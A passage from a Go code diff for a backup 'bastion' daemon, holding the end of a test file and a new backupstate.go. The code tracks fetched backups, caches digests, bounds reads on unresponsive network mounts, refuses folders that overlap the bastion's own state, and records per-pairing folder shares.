if _, err := addBackupShare(self, root, dir, name); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
// hangFolder first: its cleanup waits for every probe, so it runs last.
|
||||
hangFolder(t, deadResolve) // the folder hangs as soon as it is resolved
|
||||
blockReadDir(t, deadList) // the folder answers a resolve, then hangs when read
|
||||
blockResolve(t, deadPush) // resolving a file in it hangs
|
||||
|
||||
for i := 0; i < 2; i++ { // the second time, the first probes are still stuck
|
||||
rep, took := listReplyAs(t, self, root)
|
||||
if took > 2*time.Second {
|
||||
t.Fatalf("the listing waited %s", took)
|
||||
}
|
||||
folders := map[string]bool{}
|
||||
for _, b := range rep.Backups {
|
||||
folders[b.Folder] = true
|
||||
}
|
||||
if !folders["."] || !folders["shared/good"] {
|
||||
t.Fatalf("the folders that answer were not listed: %+v", rep.Backups)
|
||||
}
|
||||
down := map[string]string{}
|
||||
for _, u := range rep.Unavailable {
|
||||
down[u.Folder] = u.Why
|
||||
}
|
||||
for _, f := range []string{"shared/dead-list", "shared/dead-resolve"} {
|
||||
if folders[f] || !strings.Contains(down[f], "does not answer") {
|
||||
t.Fatalf("%s: listed %v, unavailable %q", f, folders[f], down[f])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, c := range []struct{ name, why string }{
|
||||
{"dead-resolve", "does not answer"}, {"dead-push", "does not answer"},
|
||||
} {
|
||||
start := time.Now()
|
||||
_, why := backupResolveFile(self, root, "shared/"+c.name+"/"+fixtureData)
|
||||
if !strings.Contains(why, c.why) || time.Since(start) > 2*time.Second {
|
||||
t.Fatalf("push from %s: %q after %s", c.name, why, time.Since(start))
|
||||
}
|
||||
}
|
||||
if abs, why := backupResolveFile(self, root, "shared/good/"+fixtureData); why != "" || abs != filepath.Join(good, fixtureData) {
|
||||
t.Fatalf("a shared folder that answers stopped working: %q %q", abs, why)
|
||||
}
|
||||
}
|
||||
|
||||
// A shared folder swapped for a link to this bastion's own state after it was
|
||||
// shared is not listed and not sent from.
|
||||
func TestASharedFolderThatNowReachesTheBastionsStateIsLeftOut(t *testing.T) {
|
||||
root, conf := opMaskFixture(t)
|
||||
const self = "nas.host.privatae.ai"
|
||||
base := t.TempDir()
|
||||
shared := filepath.Join(base, "old")
|
||||
_ = os.MkdirAll(shared, 0o700)
|
||||
if _, err := addBackupShare(self, root, shared, "old"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = os.RemoveAll(shared)
|
||||
if err := os.Symlink(conf, shared); err != nil {
|
||||
t.Skip("no symlinks here")
|
||||
}
|
||||
_ = os.WriteFile(filepath.Join(conf, fixtureData), []byte("not a backup"), 0o600)
|
||||
rep, _ := listReplyAs(t, self, root)
|
||||
for _, b := range rep.Backups {
|
||||
if b.Folder == "shared/old" {
|
||||
t.Fatal("a shared folder that now is the configuration folder was listed")
|
||||
}
|
||||
}
|
||||
if len(rep.Unavailable) != 1 || rep.Unavailable[0].Folder != "shared/old" {
|
||||
t.Fatalf("unavailable: %+v", rep.Unavailable)
|
||||
}
|
||||
if _, why := backupResolveFile(self, root, "shared/old/"+fixtureData); why == "" {
|
||||
t.Fatal("a file in the configuration folder could be sent")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,859 @@
|
||||
package main
|
||||
|
||||
// backupstate.go — what this bastion knows about the backups in a pairing's
|
||||
// backup folder, kept where the host cannot write.
|
||||
//
|
||||
// Three records, all in the bastion's own state directory and never inside a
|
||||
// backup folder: backup_fetch writes files into the backup folder on a host's
|
||||
// say-so, so anything kept there could be rewritten by the host it describes.
|
||||
//
|
||||
// - ARRIVALS: every backup file this bastion fetched into a folder, with its
|
||||
// sha256, size, modification time and the moment it arrived. Thinning
|
||||
// (backupretention.go) considers only these files, and only while each is
|
||||
// still the file that arrived (same size and modification time). A file
|
||||
// the person put in the folder, or one that was there before this
|
||||
// version, is never counted and never removed.
|
||||
// - HASHES: a cache of sha256 by (path, size, modification time), so a host
|
||||
// can be told the digest of a backup it did not fetch here (a replacement
|
||||
// host restoring the backups of the one it replaces) without a listing
|
||||
// reading gigabytes inside a 30-second dispatch. A miss starts ONE
|
||||
// background hashing job; the host lists again until the digest appears.
|
||||
// - SHARES: folders the person, at this machine, let one pairing's host read
|
||||
// through backup_list and backup_push — how a replacement host reaches the
|
||||
// copies its lost predecessor kept here. Kept by pairing, not by folder.
|
||||
// Only the person adds one (`privatae-bastion backup share`); no
|
||||
// management op writes this record; unpairing or revoking a pairing
|
||||
// takes its shares back.
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// backupStateDir is overridable only so tests can point it somewhere else.
|
||||
var backupStateDir = func() (string, error) {
|
||||
d, err := configDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
p := filepath.Join(d, "backup-state")
|
||||
return p, os.MkdirAll(p, 0o700)
|
||||
}
|
||||
|
||||
// backupStateMu serialises every read-modify-write of the arrivals and share
|
||||
// records in this process: fetch jobs finish on their own goroutines.
|
||||
var backupStateMu sync.Mutex
|
||||
|
||||
func backupRootKey(root string) string {
|
||||
abs, err := filepath.Abs(filepath.Clean(root))
|
||||
if err != nil {
|
||||
abs = filepath.Clean(root)
|
||||
}
|
||||
sum := sha256.Sum256([]byte(abs))
|
||||
return hex.EncodeToString(sum[:])[:16]
|
||||
}
|
||||
|
||||
// newBackupJobID is a random job id. Ids are not guessable, and a status call
|
||||
// answers only for the pairing that started the job (the job's root).
|
||||
func newBackupJobID(prefix string) string {
|
||||
b := make([]byte, 12)
|
||||
_, _ = rand.Read(b)
|
||||
return prefix + "-" + hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
// redactURLs strips the query and fragment from every URL in a message, so an
|
||||
// error that quotes a signed URL does not hand its signature to whoever reads
|
||||
// the job's status or the host's logs.
|
||||
var urlInTextRe = regexp.MustCompile(`((?:https?)://[^\s?#"']*)[?#][^\s"']*`)
|
||||
|
||||
func redactURLs(s string) string {
|
||||
return urlInTextRe.ReplaceAllString(s, "$1?(signature removed)")
|
||||
}
|
||||
|
||||
// ── arrivals ───────────────────────────────────────────────────────────────
|
||||
|
||||
type backupArrival struct {
|
||||
SHA256 string `json:"sha256"`
|
||||
Size int64 `json:"size"`
|
||||
ModNs int64 `json:"mtime_ns"`
|
||||
Arrived string `json:"arrived_at"`
|
||||
}
|
||||
|
||||
type backupArrivals struct {
|
||||
Root string `json:"root"`
|
||||
Files map[string]backupArrival `json:"files"`
|
||||
}
|
||||
|
||||
func arrivalsPath(root string) (string, error) {
|
||||
d, err := backupStateDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(d, "arrivals-"+backupRootKey(root)+".json"), nil
|
||||
}
|
||||
|
||||
// arrivalsLoadLocked reads the record; the caller holds backupStateMu.
|
||||
func arrivalsLoadLocked(root string) (*backupArrivals, error) {
|
||||
a := &backupArrivals{Root: root, Files: map[string]backupArrival{}}
|
||||
p, err := arrivalsPath(root)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := os.ReadFile(p)
|
||||
if os.IsNotExist(err) {
|
||||
return a, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := json.Unmarshal(raw, a); err != nil {
|
||||
return nil, fmt.Errorf("the record of fetched backups is unreadable: %w", err)
|
||||
}
|
||||
if a.Files == nil {
|
||||
a.Files = map[string]backupArrival{}
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
func arrivalsSaveLocked(root string, a *backupArrivals) error {
|
||||
p, err := arrivalsPath(root)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := json.MarshalIndent(a, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return atomicWrite(p, raw)
|
||||
}
|
||||
|
||||
// recordArrival notes that this bastion put the backup file `name` into the
|
||||
// top of `root`, with digest sha.
|
||||
func recordArrival(root, name, sha string, at time.Time) error {
|
||||
fi, err := os.Lstat(filepath.Join(root, name))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
backupStateMu.Lock()
|
||||
defer backupStateMu.Unlock()
|
||||
a, err := arrivalsLoadLocked(root)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
a.Files[name] = backupArrival{SHA256: sha, Size: fi.Size(), ModNs: fi.ModTime().UnixNano(),
|
||||
Arrived: at.UTC().Format(time.RFC3339Nano)}
|
||||
noteHash(filepath.Join(root, name), fi, sha)
|
||||
return arrivalsSaveLocked(root, a)
|
||||
}
|
||||
|
||||
// stillTheArrival reports whether the file at path is the one recorded.
|
||||
func stillTheArrival(fi os.FileInfo, a backupArrival) bool {
|
||||
return fi.Mode().IsRegular() && fi.Size() == a.Size && fi.ModTime().UnixNano() == a.ModNs
|
||||
}
|
||||
|
||||
// ── hashes ─────────────────────────────────────────────────────────────────
|
||||
|
||||
type hashEntry struct {
|
||||
size, modNs int64
|
||||
sha string
|
||||
}
|
||||
|
||||
var (
|
||||
hashMu sync.Mutex
|
||||
hashCache = map[string]hashEntry{}
|
||||
hashQueue = map[string]bool{}
|
||||
hashRunning bool
|
||||
// hashFileFn is hashFileWatched; a test replaces it to hold the worker.
|
||||
hashFileFn = hashFileWatched
|
||||
// hashRead is one read of a file the job hashes (under hashMu); a test
|
||||
// replaces it with a slow one.
|
||||
hashRead = func(f *os.File, p []byte) (int, error) { return f.Read(p) }
|
||||
// hashJobTimeout (under hashMu) bounds two things. It is how long the job
|
||||
// waits for one file: a file on a network mount that stopped answering
|
||||
// may never return from a read, and one such file would otherwise stop
|
||||
// the digests of every folder. Past the bound the job goes on to the next
|
||||
// file; the read goes on by itself and its digest is kept if it ever
|
||||
// returns. It is also how long the reading of a file may go without one
|
||||
// of its reads returning before its folder counts as stuck (backupReads).
|
||||
// A large backup on a slow disk can take far longer than the bound to
|
||||
// read, but its reads keep returning, so it never counts as stuck.
|
||||
hashJobTimeout = 2 * time.Minute
|
||||
)
|
||||
|
||||
const hashCacheMax = 20000
|
||||
|
||||
func noteHash(abs string, fi os.FileInfo, sha string) {
|
||||
hashMu.Lock()
|
||||
defer hashMu.Unlock()
|
||||
if len(hashCache) >= hashCacheMax {
|
||||
hashCache = map[string]hashEntry{}
|
||||
}
|
||||
hashCache[abs] = hashEntry{size: fi.Size(), modNs: fi.ModTime().UnixNano(), sha: sha}
|
||||
}
|
||||
|
||||
// cachedHash is the digest of the file at abs if it is known for exactly
|
||||
// this size and modification time, else "".
|
||||
func cachedHash(abs string, fi os.FileInfo) string {
|
||||
hashMu.Lock()
|
||||
defer hashMu.Unlock()
|
||||
e, ok := hashCache[abs]
|
||||
if !ok || e.size != fi.Size() || e.modNs != fi.ModTime().UnixNano() {
|
||||
return ""
|
||||
}
|
||||
return e.sha
|
||||
}
|
||||
|
||||
// hashBound is hashJobTimeout, read under hashMu.
|
||||
func hashBound() time.Duration {
|
||||
hashMu.Lock()
|
||||
defer hashMu.Unlock()
|
||||
return hashJobTimeout
|
||||
}
|
||||
|
||||
// requestHash queues abs for the one background hashing job, starting it if
|
||||
// it is not running. Never blocks on the file. A file in a folder with a read
|
||||
// that has not returned (the hashing job's or a push's, backupReads) is not
|
||||
// queued; a later listing asks again.
|
||||
func requestHash(abs string) {
|
||||
pushBound := pushStallBound()
|
||||
hashMu.Lock()
|
||||
defer hashMu.Unlock()
|
||||
if _, stuck := folderStuck(filepath.Dir(abs), time.Now(), pushBound, hashJobTimeout); stuck {
|
||||
return
|
||||
}
|
||||
hashQueue[abs] = true
|
||||
if hashRunning {
|
||||
return
|
||||
}
|
||||
hashRunning = true
|
||||
go hashWorker()
|
||||
}
|
||||
|
||||
func hashWorker() {
|
||||
for {
|
||||
pushBound := pushStallBound()
|
||||
hashMu.Lock()
|
||||
var next string
|
||||
for p := range hashQueue {
|
||||
next = p
|
||||
break
|
||||
}
|
||||
if next == "" {
|
||||
hashRunning = false
|
||||
hashMu.Unlock()
|
||||
return
|
||||
}
|
||||
delete(hashQueue, next)
|
||||
dir := filepath.Dir(next)
|
||||
bound := hashJobTimeout
|
||||
// Not read now: a folder with a read that has not returned, or a
|
||||
// bastion at backupReadsMax. A later listing asks again.
|
||||
if !hashReadTake(dir, pushBound, bound) {
|
||||
hashMu.Unlock()
|
||||
continue
|
||||
}
|
||||
hashMu.Unlock()
|
||||
|
||||
// The read keeps its slot until it returns, however long after the
|
||||
// job stopped waiting for it, and its watch ends before the slot is
|
||||
// freed.
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
defer backupReadFree(dir, true)
|
||||
stop, watched := make(chan struct{}), make(chan struct{})
|
||||
go func() {
|
||||
defer close(watched)
|
||||
watchHashRead(dir, filepath.Base(next), bound, stop)
|
||||
}()
|
||||
hashOne(next)
|
||||
close(stop)
|
||||
<-watched
|
||||
}()
|
||||
timer := time.NewTimer(bound)
|
||||
select {
|
||||
case <-done:
|
||||
timer.Stop()
|
||||
case <-timer.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// watchHashRead says in the log when the job's read of name, in dir, has
|
||||
// taken longer than bound while its reads keep returning, and when it has gone
|
||||
// without an answer for more than bound; each once. It ends when stop is
|
||||
// closed.
|
||||
func watchHashRead(dir, name string, bound time.Duration, stop <-chan struct{}) {
|
||||
start := time.Now()
|
||||
slow := false
|
||||
for {
|
||||
now := time.Now()
|
||||
quiet := hashReadQuiet(dir, now)
|
||||
if quiet > bound {
|
||||
opMaskLog("backup folder %s: reading %s for its digest has not answered for more than %s (a network "+
|
||||
"mount that stopped?); nothing more is read from that folder until it returns\n", dir, name, bound)
|
||||
return
|
||||
}
|
||||
wait := bound - quiet
|
||||
if took := now.Sub(start); !slow && took > bound {
|
||||
slow = true
|
||||
opMaskLog("backup folder %s: reading %s for its digest is taking more than %s (a large file or a slow "+
|
||||
"disk); the job goes on to other folders and reads nothing more from that folder until it is done\n",
|
||||
dir, name, bound)
|
||||
} else if !slow && bound-took < wait {
|
||||
wait = bound - took
|
||||
}
|
||||
timer := time.NewTimer(wait + time.Millisecond)
|
||||
select {
|
||||
case <-stop:
|
||||
timer.Stop()
|
||||
return
|
||||
case <-timer.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// hashOne reads the file at p and keeps its digest if the file did not
|
||||
// change while it was read.
|
||||
func hashOne(p string) {
|
||||
// A file listed again while it was being read is queued again; by then
|
||||
// its digest is known, and it is not read twice.
|
||||
before, err := os.Lstat(p)
|
||||
if err != nil || !before.Mode().IsRegular() || cachedHash(p, before) != "" {
|
||||
return
|
||||
}
|
||||
hashReadProgress(filepath.Dir(p))
|
||||
sum, _, err := hashFileFn(p)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
after, err := os.Lstat(p)
|
||||
if err != nil || after.Size() != before.Size() || !after.ModTime().Equal(before.ModTime()) {
|
||||
return
|
||||
}
|
||||
noteHash(p, after, sum)
|
||||
}
|
||||
|
||||
// hashFileWatched is hashFile for the hashing job: each operation on the file
|
||||
// that returns (the open, every read) is noted as progress on its folder's
|
||||
// hashing read, so a file read slowly but steadily never counts as stuck.
|
||||
func hashFileWatched(path string) (string, int64, error) {
|
||||
hashMu.Lock()
|
||||
read := hashRead
|
||||
hashMu.Unlock()
|
||||
dir := filepath.Dir(path)
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
defer f.Close()
|
||||
hashReadProgress(dir)
|
||||
h := sha256.New()
|
||||
n, err := io.Copy(h, progressReader{f: f, dir: dir, read: read})
|
||||
if err != nil {
|
||||
return "", 0, err
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), n, nil
|
||||
}
|
||||
|
||||
// progressReader reads f, noting progress on dir's hashing read each time a
|
||||
// read returns.
|
||||
type progressReader struct {
|
||||
f *os.File
|
||||
dir string
|
||||
read func(*os.File, []byte) (int, error)
|
||||
}
|
||||
|
||||
func (r progressReader) Read(p []byte) (int, error) {
|
||||
n, err := r.read(r.f, p)
|
||||
hashReadProgress(r.dir)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// ── reads of backup folders in flight ────────────────────────────────────
|
||||
//
|
||||
// A read of a file in a backup folder that never returns (a network mount
|
||||
// that stopped answering) cannot be stopped: it keeps a goroutine, an OS
|
||||
// thread and, for a push, the open file until the mount answers. Two things
|
||||
// read backup folders, a push (backuppush.go) and the hashing job above, and
|
||||
// both keep their reads in flight here, by folder, so each sees the other's:
|
||||
//
|
||||
// - a push holds its folder's one push slot for each operation on its file
|
||||
// (a stat, the open, a read), and the hashing job holds its folder's one
|
||||
// hash slot for the file it reads;
|
||||
// - neither starts a read in a folder with a read of either kind that has
|
||||
// gone without an answer past its bound (backupPushFileStall for one
|
||||
// operation of a push; hashJobTimeout since the hashing job's last read
|
||||
// of its file returned, so a large file on a slow disk that keeps
|
||||
// answering never counts), so a dead folder holds at most one push read
|
||||
// and one hashing read;
|
||||
// - at most backupReadsMax reads, of both kinds together, are in flight on
|
||||
// the bastion at once.
|
||||
//
|
||||
// A slot is freed when its read returns.
|
||||
|
||||
// folderReads is, for each kind of read of one folder, since when it has gone
|
||||
// without an answer; zero when none is in flight. For a push, since its
|
||||
// operation on the file started; for the hashing job, since it took the slot
|
||||
// or since the last operation on its file returned (hashReadProgress).
|
||||
type folderReads struct {
|
||||
push, hash time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
backupReadMu sync.Mutex
|
||||
// backupReads holds the folders with a read in flight.
|
||||
backupReads = map[string]*folderReads{}
|
||||
// backupReadFreed is closed, and replaced, whenever a read returns.
|
||||
backupReadFreed = make(chan struct{})
|
||||
// backupReadsMax bounds the reads one bastion keeps in flight (a
|
||||
// goroutine, a thread and a descriptor each for one that never returns):
|
||||
// far below the process's thread and descriptor limits, and above the
|
||||
// folders that ever go dead at once. A test lowers it.
|
||||
backupReadsMax = 8
|
||||
)
|
||||
|
||||
// readsInFlightLocked is the number of reads in flight; the caller holds
|
||||
// backupReadMu.
|
||||
func readsInFlightLocked() int {
|
||||
n := 0
|
||||
for _, r := range backupReads {
|
||||
if !r.push.IsZero() {
|
||||
n++
|
||||
}
|
||||
if !r.hash.IsZero() {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// stuckReadsLocked is the number of reads in flight past their bound; the
|
||||
// caller holds backupReadMu.
|
||||
func stuckReadsLocked(now time.Time, pushBound, hashBound time.Duration) int {
|
||||
n := 0
|
||||
for _, r := range backupReads {
|
||||
if !r.push.IsZero() && now.Sub(r.push) > pushBound {
|
||||
n++
|
||||
}
|
||||
if !r.hash.IsZero() && now.Sub(r.hash) > hashBound {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// folderStuckLocked says which read of dir has been in flight past its bound,
|
||||
// as a phrase for a sentence, and false when none has; the caller holds
|
||||
// backupReadMu.
|
||||
func folderStuckLocked(dir string, now time.Time, pushBound, hashBound time.Duration) (string, bool) {
|
||||
r := backupReads[dir]
|
||||
switch {
|
||||
case r == nil:
|
||||
return "", false
|
||||
case !r.push.IsZero() && now.Sub(r.push) > pushBound:
|
||||
return fmt.Sprintf("an earlier push for more than %s", pushBound), true
|
||||
case !r.hash.IsZero() && now.Sub(r.hash) > hashBound:
|
||||
return fmt.Sprintf("the reading of a backup for its digest for more than %s", hashBound), true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
func folderStuck(dir string, now time.Time, pushBound, hashBound time.Duration) (string, bool) {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
return folderStuckLocked(dir, now, pushBound, hashBound)
|
||||
}
|
||||
|
||||
// hashReadTake takes dir's hash slot for the hashing job, or reports false
|
||||
// when it may not read there now: a read of dir is stuck, the job's earlier
|
||||
// read there has not returned, or backupReadsMax reads are in flight.
|
||||
func hashReadTake(dir string, pushBound, hashBound time.Duration) bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
now := time.Now()
|
||||
if _, stuck := folderStuckLocked(dir, now, pushBound, hashBound); stuck {
|
||||
return false
|
||||
}
|
||||
r := backupReads[dir]
|
||||
if (r != nil && !r.hash.IsZero()) || readsInFlightLocked() >= backupReadsMax {
|
||||
return false
|
||||
}
|
||||
if r == nil {
|
||||
r = &folderReads{}
|
||||
backupReads[dir] = r
|
||||
}
|
||||
r.hash = now
|
||||
return true
|
||||
}
|
||||
|
||||
// hashReadProgress notes that an operation of the hashing job's read of dir
|
||||
// returned, so the read counts as stuck only after hashJobTimeout without
|
||||
// another. Only the job's own read, which holds dir's hash slot until it
|
||||
// returns, calls it.
|
||||
func hashReadProgress(dir string) {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
if r := backupReads[dir]; r != nil && !r.hash.IsZero() {
|
||||
r.hash = time.Now()
|
||||
}
|
||||
}
|
||||
|
||||
// hashReadQuiet is how long the hashing job's read of dir has gone without an
|
||||
// answer at now; zero when none is in flight.
|
||||
func hashReadQuiet(dir string, now time.Time) time.Duration {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
if r := backupReads[dir]; r != nil && !r.hash.IsZero() {
|
||||
return now.Sub(r.hash)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// backupReadFree frees dir's hash slot (hash) or its push slot, when the read
|
||||
// holding it returned.
|
||||
func backupReadFree(dir string, hash bool) {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
if r := backupReads[dir]; r != nil {
|
||||
if hash {
|
||||
r.hash = time.Time{}
|
||||
} else {
|
||||
r.push = time.Time{}
|
||||
}
|
||||
if r.push.IsZero() && r.hash.IsZero() {
|
||||
delete(backupReads, dir)
|
||||
}
|
||||
}
|
||||
close(backupReadFreed)
|
||||
backupReadFreed = make(chan struct{})
|
||||
}
|
||||
|
||||
// ── one folder per host, and none over the bastion's own state ────────────
|
||||
|
||||
// resolvedPath is p made absolute with every link in its existing part
|
||||
// resolved, so two spellings of one folder compare equal. Unbounded: for
|
||||
// this bastion's own local folders; a host's backup folder, which may be a
|
||||
// network mount, goes through backupFolderResolve instead.
|
||||
func resolvedPath(p string) string {
|
||||
abs, err := filepath.Abs(filepath.Clean(p))
|
||||
if err != nil {
|
||||
abs = filepath.Clean(p)
|
||||
}
|
||||
return opResolveFn(abs)
|
||||
}
|
||||
|
||||
// pathInside reports whether child is strictly inside parent.
|
||||
func pathInside(child, parent string) bool {
|
||||
rel, err := filepath.Rel(parent, child)
|
||||
if err != nil || rel == "." || rel == ".." || filepath.IsAbs(rel) {
|
||||
return false
|
||||
}
|
||||
return !strings.HasPrefix(rel, ".."+string(os.PathSeparator))
|
||||
}
|
||||
|
||||
// bastionStateOverlap is a refusal when folder is, or contains, this
|
||||
// bastion's own state (its config folder, its backup keys, its backup
|
||||
// records), or sits inside the config folder anywhere but under its
|
||||
// backups/ folder: a host that can write, list or send files there could
|
||||
// reach the pairings, the DCN state, the keys, or the record that decides
|
||||
// what thinning removes.
|
||||
func bastionStateOverlap(folder string) string {
|
||||
return bastionStateOverlapResolved(folder, resolvedPath(folder))
|
||||
}
|
||||
|
||||
// bastionStateOverlapResolved is bastionStateOverlap for a folder already
|
||||
// resolved to r (the bastion's own folders are local and resolved here).
|
||||
func bastionStateOverlapResolved(folder, r string) string {
|
||||
if conf, err := configDirPath(); err == nil && conf != "" {
|
||||
rc := resolvedPath(conf)
|
||||
if pathInside(r, rc) && !pathInside(r, filepath.Join(rc, "backups")) {
|
||||
return fmt.Sprintf("the backup folder %s is inside this bastion's configuration folder (%s) but not under "+
|
||||
"its backups folder; set backup_root to a folder of its own", folder, conf)
|
||||
}
|
||||
}
|
||||
// A folder inside the keys or the records is inside the configuration
|
||||
// folder and outside backups/, so it was refused above.
|
||||
type prot struct {
|
||||
name string
|
||||
path func() (string, error)
|
||||
}
|
||||
for _, p := range []prot{
|
||||
{"this bastion's configuration folder", configDirPath},
|
||||
{"this bastion's backup keys", backupKeysDir},
|
||||
{"this bastion's backup records", backupStateDir},
|
||||
} {
|
||||
pp, err := p.path()
|
||||
if err != nil || pp == "" {
|
||||
continue
|
||||
}
|
||||
rp := resolvedPath(pp)
|
||||
if r == rp || pathInside(rp, r) {
|
||||
return fmt.Sprintf("the backup folder %s overlaps %s (%s); set backup_root to a folder of its own", folder, p.name, pp)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// backupRootProblem is a refusal when the backup folder of the pairing self
|
||||
// is not one this bastion can keep apart: it overlaps the bastion's own
|
||||
// state, or it is, contains or sits inside another pairing's backup folder —
|
||||
// two hosts would then list, send and thin each other's backups, and a folder
|
||||
// shared with one would reach both. Checked on every backup op, against the
|
||||
// pairings on disk now.
|
||||
//
|
||||
// Every backup folder is resolved with a bound (backupFolderResolve), since
|
||||
// any of them can be a network mount that stopped answering. This pairing's
|
||||
// own folder not answering refuses its backup ops with a sentence saying
|
||||
// so. Another pairing's folder not answering blocks nothing: it is compared
|
||||
// as written and as it last resolved.
|
||||
func backupRootProblem(self, root string) string {
|
||||
r, ok, _ := backupFolderResolve(root)
|
||||
if !ok {
|
||||
return fmt.Sprintf("refused: this host's backup folder %s does not answer (a network mount that stopped?); "+
|
||||
"its backup ops wait until it does", root)
|
||||
}
|
||||
if why := bastionStateOverlapResolved(root, r); why != "" {
|
||||
return "refused: " + why
|
||||
}
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return "refused: the pairings on this machine are unreadable, so this host's backup folder cannot be checked: " + err.Error()
|
||||
}
|
||||
for _, c := range cfgs {
|
||||
if c.HostName == self {
|
||||
continue
|
||||
}
|
||||
op := c.backupRootPath()
|
||||
if op == "" {
|
||||
continue
|
||||
}
|
||||
var forms []string
|
||||
if o, ok, last := backupFolderResolve(op); ok {
|
||||
forms = []string{o}
|
||||
} else {
|
||||
abs, _ := filepath.Abs(filepath.Clean(op))
|
||||
forms = []string{abs}
|
||||
if last != "" {
|
||||
forms = append(forms, last)
|
||||
}
|
||||
}
|
||||
for _, o := range forms {
|
||||
if o == r || pathInside(o, r) || pathInside(r, o) {
|
||||
return fmt.Sprintf("refused: this host's backup folder %s is, contains or sits inside the backup folder of %s (%s). "+
|
||||
"Give each host a backup_root of its own on this machine", root, c.HostName, op)
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// backupMkdirFn is os.MkdirAll; a test replaces it with one that fails or
|
||||
// blocks.
|
||||
var backupMkdirFn = os.MkdirAll
|
||||
|
||||
// backupRootReady is the check every backup op runs before its handler: the
|
||||
// folder is this host's own (backupRootProblem), and, for an op that writes
|
||||
// (create), it exists, created here on first use rather than when the daemon
|
||||
// starts. A read (backup_list) creates nothing: a folder not made yet lists
|
||||
// empty. Both steps are bounded, so a backup folder on a network mount that
|
||||
// stopped answering refuses that host's backup ops with a sentence and holds
|
||||
// up nothing else: not the daemon's start, not the rest of this host's lane,
|
||||
// not another host.
|
||||
func backupRootReady(self, root string, create bool) string {
|
||||
if why := backupRootProblem(self, root); why != "" {
|
||||
return why
|
||||
}
|
||||
if !create {
|
||||
return ""
|
||||
}
|
||||
if err := opProbe("mkdir:"+root, func() error { return backupMkdirFn(root, 0o700) }); err != nil {
|
||||
if errors.Is(err, errProbeBusy) || errors.Is(err, errProbeTimeout) {
|
||||
return fmt.Sprintf("refused: this host's backup folder %s does not answer (a network mount that stopped?); "+
|
||||
"its backup ops wait until it does", root)
|
||||
}
|
||||
return fmt.Sprintf("refused: this host's backup folder %s cannot be created: %v", root, err)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── shares ─────────────────────────────────────────────────────────────────
|
||||
|
||||
type backupShare struct {
|
||||
Slug string `json:"slug"`
|
||||
Dir string `json:"dir"`
|
||||
From string `json:"from"`
|
||||
Added string `json:"added_at"`
|
||||
}
|
||||
|
||||
// shares by the reading pairing's host name: a share is given to a pairing,
|
||||
// not to a folder, so it cannot reach another pairing that happens to use
|
||||
// the same folder, and it goes when that pairing is unpaired or revoked.
|
||||
type backupSharesFile map[string][]backupShare
|
||||
|
||||
var shareSlugRe = regexp.MustCompile(`[^a-z0-9.-]+`)
|
||||
|
||||
func sharesPath() (string, error) {
|
||||
d, err := backupStateDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(d, "shares.json"), nil
|
||||
}
|
||||
|
||||
func sharesLoadLocked() (backupSharesFile, error) {
|
||||
m := backupSharesFile{}
|
||||
p, err := sharesPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := os.ReadFile(p)
|
||||
if os.IsNotExist(err) {
|
||||
return m, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
return nil, fmt.Errorf("the record of shared backup folders is unreadable: %w", err)
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func sharesSaveLocked(m backupSharesFile) error {
|
||||
p, err := sharesPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := json.MarshalIndent(m, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return atomicWrite(p, raw)
|
||||
}
|
||||
|
||||
// sharesFor is the folders the pairing `reader` may read. An anonymous
|
||||
// caller ("") has none.
|
||||
